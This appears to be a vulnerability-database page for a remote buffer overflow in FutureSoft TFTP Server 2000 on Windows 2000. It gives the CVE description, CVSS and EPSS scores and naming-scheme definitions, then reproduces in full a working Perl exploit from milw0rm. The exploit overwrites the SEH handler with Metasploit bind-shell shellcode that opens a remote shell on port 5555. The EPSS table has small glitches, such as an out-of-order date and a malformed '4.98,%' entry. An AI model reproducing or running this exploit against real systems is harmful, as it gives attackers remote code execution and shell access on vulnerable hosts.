CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in FutureSoft TFTP Server 2000 on Microsoft Windows 2000 SP4 allows remote attackers to execute arbitrary code via a long request on UDP port 69. NOTE: this issue might overlap CVE-2006-4781 or CVE-2005-1812.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
5.53%
–
–
2022-04-03
–
–
5.53%
–
–
2022-07-17
–
–
5.53%
–
–
2022-07-24
–
–
5.53%
–
–
2022-08-28
–
–
5.53%
–
–
2023-03-12
–
–
–
4.07%
–
2023-08-27
–
–
–
4.09%
–
2023-12-24
–
–
–
4.07%
–
2024-02-11
–
–
–
4.07%
–
2024-05-19
–
–
–
3.18%
–
2024-06-02
–
–
–
3.18%
–
2024-10-06
–
–
–
2.75%
–
2024-12-22
–
–
–
2.75%
–
2025-02-23
–
–
–
2.75%
–
2025-01-19
–
–
–
2.75%
–
2025-02-23
–
–
–
2.75%
–
2025-03-18
–
–
–
–
4.98%
2025-03-18
–
–
–
–
4.98,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl
# ===============================================================================================
# FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit
# By Umesh Wanve
# ===============================================================================================
#
# Date : 22-03-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Stack ---> buffer === AAAAA.........
# |
# Pointer to next SEH === Short Jump to Hellcode
# |
# SEH Handler === Pop, Pop, Ret (ws2help.dll win2000 sp4)
# |
# NOP Sled === Nop Sled
# |
# Hellcode === Hell.........
#
# This exploit will open port 5555 on remote server. Connect it to open shell.
#
#
# P.S: This was written for educational purpose. Use it at your own risk.Author will be not be
# responsible for any damage.
#
# Always Thanks to Metasploit.
#
#==================================================================================================
use IO::Socket;
#use strict;
my($read_request)="\x00\x01"; # GET or PUT request
my($tailer)="\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"; #transporting mode (eg. netascii)
# win32_bind - EXITFUNC=seh LPORT=5555 Size=344 Encoder=Pex http://metasploit.com
my($shellcode)=
"\x90\x90\x90\x90". #padding
"\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x60".
"\x5f\x45\x77\x83\xee\xfc\xe2\xf4\x9c\x35\xae\x3a\x88\xa6\xba\x88".
"\x9f\x3f\xce\x1b\x44\x7b\xce\x32\x5c\xd4\x39\x72\x18\x5e\xaa\xfc".
"\x2f\x47\xce\x28\x40\x5e\xae\x3e\xeb\x6b\xce\x76\x8e\x6e\x85\xee".
"\xcc\xdb\x85\x03\x67\x9e\x8f\x7a\x61\x9d\xae\x83\x5b\x0b\x61\x5f".
"\x15\xba\xce\x28\x44\x5e\xae\x11\xeb\x53\x0e\xfc\x3f\x43\x44\x9c".
"\x63\x73\xce\xfe\x0c\x7b\x59\x16\xa3\x6e\x9e\x13\xeb\x1c\x75\xfc".
"\x20\x53\xce\x07\x7c\xf2\xce\x37\x68\x01\x2d\xf9\x2e\x51\xa9\x27".
"\x9f\x89\x23\x24\x06\x37\x76\x45\x08\x28\x36\x45\x3f\x0b\xba\xa7".
"\x08\x94\xa8\x8b\x5b\x0f\xba\xa1\x3f\xd6\xa0\x11\xe1\xb2\x4d\x75".
"\x35\x35\x47\x88\xb0\x37\x9c\x7e\x95\xf2\x12\x88\xb6\x0c\x16\x24".
"\x33\x0c\x06\x24\x23\x0c\xba\xa7\x06\x37\x50\xc4\x06\x0c\xcc\x96".
"\xf5\x37\xe1\x6d\x10\x98\x12\x88\xb6\x35\x55\x26\x35\xa0\x95\x1f".
"\xc4\xf2\x6b\x9e\x37\xa0\x93\x24\x35\xa0\x95\x1f\x85\x16\xc3\x3e".
"\x37\xa0\x93\x27\x34\x0b\x10\x88\xb0\xcc\x2d\x90\x19\x99\x3c\x20".
"\x9f\x89\x10\x88\xb0\x39\x2f\x13\x06\x37\x26\x1a\xe9\xba\x2f\x27".
"\x39\x76\x89\xfe\x87\x35\x01\xfe\x82\x6e\x85\x84\xca\xa1\x07\x5a".
"\x9e\x1d\x69\xe4\xed\x25\x7d\xdc\xcb\xf4\x2d\x05\x9e\xec\x53\x88".
"\x15\x1b\xba\xa1\x3b\x08\x17\x26\x31\x0e\x2f\x76\x31\x0e\x10\x26".
"\x9f\x8f\x2d\xda\xb9\x5a\x8b\x24\x9f\x89\x2f\x88\x9f\x68\xba\xa7".
"\xeb\x08\xb9\xf4\xa4\x3b\xba\xa1\x32\xa0\x95\x1f\x90\xd5\x41\x28".
"\x33\xa0\x93\x88\xb0\x5f\x45\x77".
"\x90\x90\x90\x90". #padding
"\x90\x90\x90\x90";
my($pointer_to_next_seh)="\xeb\x06\x90\x90"; #short jump to shellcode
my($seh_handler)="\xa9\x11\x02\x75"; #pop, pop, ret
#(ws2help.dll win2000 sp4)
#Building malicious buffer
my($buffer)=$read_request.("A" x 268).$pointer_to_next_seh.$seh_handler.$shellcode.$tailer;
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "69",
Proto => "UDP"))
{
print "++Building Packet......\n" ;
print "++Connecting to server.....\n";
print "++Sending Buffer ....\n";
print "++Exploit Successfull...\n";
print "++Connect to victim on 5555.....\n";
# request + file name + mode
#see tftp protocol
print $socket $buffer;
sleep(1);
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:69\n";
}
# __END_CODE
# milw0rm.com [2007-03-22]